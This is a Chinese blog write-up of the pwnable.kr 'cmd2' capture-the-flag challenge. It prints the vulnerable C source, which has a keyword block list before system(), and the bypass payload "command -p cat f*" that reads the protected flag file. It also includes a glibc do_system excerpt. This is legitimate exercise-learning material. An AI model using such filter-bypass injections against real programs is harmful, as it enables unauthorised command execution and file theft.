pwnable.kr cmd2

在这里插入图片描述
还是先连接上去看看有什么,密码是上一题的flag
在这里插入图片描述
cat一下或者IDA

#include <stdio.h>
#include <string.h>

int filter(char* cmd){
	int r=0;
	r += strstr(cmd, "=")!=0;
	r += strstr(cmd, "PATH")!=0;
	r += strstr(cmd, "export")!=0;
	r += strstr(cmd, "/")!=0;
	r += strstr(cmd, "`")!=0;
	r += strstr(cmd, "flag")!=0;
	return r;
}

extern char** environ;
void delete_env(){
	char** p;
	for(p=environ; *p; p++)	memset(*p, 0, strlen(*p));
}

int main(int argc, char* argv[], char** envp){
	delete_env();
	putenv("PATH=/no_command_execution_until_you_become_a_hacker");
	if(filter(argv[1])) return 0;
	printf("%s\n", argv[1]);
	system( argv[1] );
	return 0;
}

可以看到思路基本是和上一题cmd1是一样的,但是过滤条件更加严格了连/也不能使用
我自己不是太熟悉,所以参考了网上的很多方法,下面我就说一下网上最常见的方法:使用通配符
首先是理解system()指令搜索命令的执行方式
http://man7.org/linux/man-pages/man3/system.3.html从这里可以看出来execl("/bin/sh", "sh", "-c", command, (char *) 0);此命令用于sh以此特定方式执行命.
而这里https://www.freebsd.org/cgi/man.cgi?query=sh&sektion=&n=1说明了command [-p] [utility [argument ...]]-p选项的命令允许我们使用默认值PATH进行搜索。它保证找到所有标准实用程序。
system本质是调用execve /bin/sh 来执行命令的。所以要想方法借助sh的特性来出现/。
输入./cmd2 "command -p cat f*"获得flag
在这里插入图片描述
下面内容参考至:https://blog.csdn.net/think_ycx/article/details/82991032这里还列出了很多不同的思路大家可以去看看

补充:system调用sh执行命令源码

下载glibc后,开始调试system源码。

# 编译
gcc system.c -g -o system
# 调试
gdb system
# 加载源码
gdb> directory /root/Pwn/glibc/glibc-2.23/sysdeps/posix/

system调用链:__libc_system->do_system->__execve (SHELL_PATH, (char *const *) new_argv, __environ) 。SHELL_PATH是/bin/sh。

do_system 部分源码:

// ... 处理一些信号 
if (pid == (pid_t) 0)
    {
      /* Child side.  */
      const char *new_argv[4];
      new_argv[0] = SHELL_NAME;
      new_argv[1] = "-c";
      new_argv[2] = line;
      new_argv[3] = NULL;
 
      /* Restore the signals.  */
      (void) __sigaction (SIGINT, &intr, (struct sigaction *) NULL);
      (void) __sigaction (SIGQUIT, &quit, (struct sigaction *) NULL);
      (void) __sigprocmask (SIG_SETMASK, &omask, (sigset_t *) NULL);
      INIT_LOCK ();
 
      /* Exec the shell.  */
      (void) __execve (SHELL_PATH, (char *const *) new_argv, __environ);
      _exit (127);
    }

详细参考:关于glibc的system函数调用实现https://blog.csdn.net/u010039418/article/details/77017689

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值